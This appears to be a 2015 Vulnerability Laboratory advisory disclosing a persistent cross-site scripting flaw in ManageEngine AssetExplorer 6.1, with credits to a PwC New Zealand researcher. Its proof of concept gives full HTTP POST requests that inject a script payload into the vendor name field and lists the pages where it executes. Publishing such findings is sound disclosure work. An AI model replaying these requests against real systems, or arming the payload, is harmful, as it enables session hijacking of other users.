Document Title:
===============
ManageEngine Asset Explorer v6.1 - Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1488


Release Date:
=============
2015-06-22


Vulnerability Laboratory ID (VL-ID):
====================================
1488


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
ManageEngine AssetExplorer is a web-based IT Asset Management (ITAM) software that helps you monitor and manage assets in your 
network from Planning phase to Disposal phase. AssetExplorer provides you with a number of ways to ensure discovery of all the 
assets in your network. You can manage software & hardware assets, ensure software license compliance and track purchase orders 
& contracts - the whole nine yards! AssetExplorer is very easy to install and works right out of the box.

(Copy of the Vendor Homepage: https://www.manageengine.com/products/asset-explorer/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an application-side cross site scripting web vulnerability in the official ManageEngine v6.1 Asset Explorer web-application.


Vulnerability Disclosure Timeline:
==================================
2015-06-22:  Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Manage Engine
Product: Asset Explorer - Web Application 6.1.0 (Build 6112)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An authenticated user with permissions to add new vendors can insert a cross site scripting payload into the vendor name field. This payload is then executed whenever any authenticated user visits either:
1.1 The edit page for the malicious vendor
1.2 The view contract page for a contract that is assigned to a malicious vendor

Vulnerable Product(s):
ManageEngine Asset Explorer

Affected Version(s):
Version 6.1.0 / Build Number 6112
(Earlier versions are likely also affected)

Vulnerability Type(s):
Persistent Cross Site Scripting


Proof of Concept (PoC):
=======================
The persistent cross site scripting web vulnerability can be exploited by remote attackers with low privileged application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

The cross site scripting payload is added by an authenticated user through a POST request to endorDef.do. The payload is then executing via GET requests to VenderDef.do or ContractDef.do.

PoC: The payload is added by a POST request to VendorDef.do:

  POST /VendorDef.do HTTP/1.1
  Host: [VULNERABLE]:8080
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://[VULNERABLE]:8080/VendorDef.do?toShowView=addForm
  Cookie: JSESSIONID=D44D55DB9E14A3EA1A1F478BD506CD9D; 2Homehelpexp=helpexpshow; 2Homehelpcoll=helpcollhide; nonitassetslinks=hide; Components=hide; virtual=hide; viewlinks=hide; Softwarediv=hide; itassetslinks=show; swHomeDefaultMfg=-1; swHomeDefaultSite=-1; swHomeGraph=sdp.inventory.home.softwaremetering.rarely; [object HTMLTableRowElement]=show; [object HTMLDivElement]=show; [object HTMLTableCellElement]=show; JSESSIONIDSSO=FA5EBD2894D00C9FB4C3192C85FF96CC
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 293
  itemID=&divToShow=detView&toShow=&organizationName=%3Cscript%3Ealert%28123%29%3C%2Fscript%3E&vendorCurrency=2&organizationDesc=&contactPerson=&doorNumber=&street=&landmark=&city=&postalCode=&state=&country=&organizationEmail=&organizationPhone=&organizationFax=&organizationUrl=&addButton=Save

PoC: Payload(s)
<script>alert(123)</script>

Note: The payload is then executed when visiting the following pages as an authenticated user:

Edit vendor page:
http://[VULNERABLE]:8080/VendorDef.do?mode=edit&id=3

View contract page:
http://[VULNERABLE]:8080/ContractDef.do?contractID=1

Note: The second exploit vector requires the extra step of associated the contract with a vendor through a POST request to ContractDef.do:

  POST /ContractDef.do HTTP/1.1
  Host: [VULNERABLE]:8080
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://[VULNERABLE]:8080/ContractDef.do?coMode=editCO&cID=1
  Cookie: JSESSIONID=D44D55DB9E14A3EA1A1F478BD506CD9D; 2Homehelpexp=helpexpshow; 2Homehelpcoll=helpcollhide; nonitassetslinks=hide; Components=hide; virtual=hide; viewlinks=show; Softwarediv=hide; itassetslinks=hide; swHomeDefaultMfg=-1; swHomeDefaultSite=-1; swHomeGraph=sdp.inventory.home.softwaremetering.rarely; [object HTMLTableRowElement]=show; [object HTMLDivElement]=show; [object HTMLTableCellElement]=show; JSESSIONIDSSO=FA5EBD2894D00C9FB4C3192C85FF96CC
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 317
  contractMode=¬ifyUsers=&contractName=test+contract&contractID=1&createdBy=2&categoryID=1&parentID=&vendorID=4&custContractID=123&comments=&supportDetails=&selectedAsset=¤tDate=2015-05-01&fromDate=2015-04-29&toDate=2015-10-02&totalPrice=0.00¬ifyMailIds=¬ifyDay=&beforeDays=&selected=&updateContract=Save
  
Reference(s):
http://[VULNERABLE]:8080/VendorDef.do?toShowView=addForm
http://[VULNERABLE]:8080/ContractDef.do?coMode=editCO&cID=1
http://[VULNERABLE]:8080/VendorDef.do?mode=edit&id=3
http://[VULNERABLE]:8080/ContractDef.do?contractID=1


Security Risk:
==============
The security risk of the (persistent) application-side input validation web vulnerability is estimated as medium. (CVSS 3.5)


Credits & Authors:
==================
Alain Homewood - PwC New Zealand (http://www.pwc.co.nz/services/assurance-services/pwc-security/)


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=========================
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